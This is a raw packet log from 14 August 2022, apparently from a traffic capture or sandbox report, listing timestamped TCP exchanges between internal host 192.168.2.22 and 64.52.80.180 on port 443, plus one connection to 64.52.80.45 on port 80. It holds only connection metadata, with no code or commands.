Aug 14, 2022 08:40:12.294080973 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.410172939 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.410239935 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.410340071 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.411142111 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.411175013 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.724654913 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.727708101 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.742362022 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.742398024 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.749726057 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.749762058 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.749808073 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.749816895 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.387237072 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.387339115 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.387396097 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.387422085 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.390722990 CEST	49215	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.390758038 CEST	443	49215	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.503421068 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.503489971 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.503575087 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.504504919 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.504540920 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.818276882 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.818393946 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.836292028 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.836308002 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.847122908 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.847138882 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:13.847287893 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:13.847295046 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.481076002 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.481173992 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.481189013 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.481214046 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.481237888 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.481251001 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.481650114 CEST	49216	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.481672049 CEST	443	49216	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.596714973 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.596781015 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.596996069 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.597850084 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.597879887 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.911438942 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.911863089 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.924335957 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.924381018 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.932013035 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.932049990 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:14.932152033 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:14.932161093 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:15.563628912 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:15.563721895 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:15.563757896 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:15.563783884 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:15.566931963 CEST	49217	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:15.566973925 CEST	443	49217	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:15.668405056 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:15.668458939 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:15.668520927 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:15.682545900 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:15.682593107 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:15.995978117 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:15.996160030 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.008913040 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.008941889 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:16.013118982 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.013140917 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:16.013190985 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.013200998 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:16.652465105 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:16.652587891 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:16.652735949 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.680152893 CEST	49218	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.680193901 CEST	443	49218	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:16.791268110 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.791304111 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:16.791395903 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.792454004 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:16.792464972 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.106738091 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.106856108 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.113704920 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.113723040 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.119177103 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.119188070 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.119290113 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.119297028 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.750030994 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.750118971 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.750204086 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.750381947 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.750545025 CEST	49219	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.750562906 CEST	443	49219	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.851649046 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.851705074 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:17.851773977 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.858120918 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:17.858159065 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.171206951 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.171422958 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.185342073 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.185369968 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.204184055 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.204210043 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.204286098 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.204294920 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.841500998 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.841674089 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.841677904 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.841737032 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.841974020 CEST	49220	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.841994047 CEST	443	49220	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.962559938 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.962613106 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:18.962692022 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.963532925 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:18.963550091 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:19.277714968 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:19.278033018 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:19.290846109 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:19.290889025 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:19.294930935 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:19.294960976 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:19.295013905 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:19.295031071 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:19.930227995 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:19.930313110 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:19.930474043 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:19.930782080 CEST	49221	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:19.930800915 CEST	443	49221	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:20.035154104 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:20.035248995 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:20.035681963 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:20.039918900 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:20.039959908 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:20.354166985 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:20.354388952 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:20.366449118 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:20.366497040 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:20.370378971 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:20.370409966 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:20.370448112 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:20.370460033 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.003284931 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.003417015 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.003474951 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.003945112 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.003968000 CEST	49222	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.003994942 CEST	443	49222	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.111953974 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.112034082 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.112179995 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.113010883 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.113046885 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.426565886 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.426728964 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.438518047 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.438545942 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.443711996 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.443737984 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:21.443833113 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:21.443839073 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.080024004 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.080205917 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.080245018 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.080359936 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.080781937 CEST	49223	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.080801010 CEST	443	49223	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.192461967 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.192524910 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.192652941 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.193610907 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.193636894 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.509469986 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.509654999 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.518234015 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.518249989 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.524558067 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.524569988 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:22.524692059 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:22.524697065 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.160316944 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.160389900 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.160404921 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.160439968 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.160445929 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.160478115 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.160748005 CEST	49224	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.160768032 CEST	443	49224	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.267821074 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.267863989 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.267965078 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.269110918 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.269135952 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.582715034 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.582818985 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.589869976 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.589907885 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.596244097 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.596276045 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:23.596416950 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:23.596424103 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.233694077 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.233773947 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.233808994 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.233829021 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.234173059 CEST	49225	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.234189034 CEST	443	49225	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.340605974 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.340678930 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.340763092 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.341489077 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.341512918 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.654558897 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.654711008 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.726214886 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.726253033 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.730791092 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.730808973 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:24.730866909 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:24.730875015 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.288144112 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:40:25.371392965 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.371565104 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.371671915 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.372282982 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.372308969 CEST	49226	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.372338057 CEST	443	49226	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.480398893 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.480451107 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.480513096 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.481345892 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.481362104 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.792387009 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.792476892 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.799578905 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.799612045 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.806566954 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.806593895 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:25.806721926 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:25.806730986 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.431404114 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.431519032 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.431571960 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.431592941 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.431965113 CEST	49227	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.431988955 CEST	443	49227	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.545577049 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.545628071 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.545707941 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.546680927 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.546705961 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.859605074 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.859771967 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.870033979 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.870059013 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.875113010 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.875134945 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:26.875196934 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:26.875205040 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.509260893 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.509360075 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.509428024 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.509463072 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.510106087 CEST	49228	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.510124922 CEST	443	49228	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.616086006 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.616163015 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.616274118 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.616899967 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.616935015 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.931655884 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.931730032 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.938447952 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.938472033 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.943577051 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.943597078 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:27.943656921 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:27.943665028 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:28.574527025 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:28.574640989 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:28.574779034 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:28.587780952 CEST	49229	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:28.587824106 CEST	443	49229	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:28.707767963 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:28.707815886 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:28.708061934 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:28.708667994 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:28.708687067 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.022706032 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.025182009 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.037918091 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.037955046 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.043150902 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.043184996 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.043232918 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.043251038 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.674272060 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.674463987 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.674546003 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.674586058 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.686289072 CEST	49230	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.686341047 CEST	443	49230	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.784663916 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.784708977 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:29.784781933 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.785382032 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:29.785407066 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.100322962 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.100455999 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.127541065 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.127566099 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.131705046 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.131731033 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.131783962 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.131791115 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.762695074 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.762799978 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.762902021 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.765192032 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.768029928 CEST	49231	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.768060923 CEST	443	49231	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.881618023 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.881694078 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:30.881778955 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.882812023 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:30.882868052 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.198299885 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.198556900 CEST	49232	443	192.168.2.22	64.52.80.180
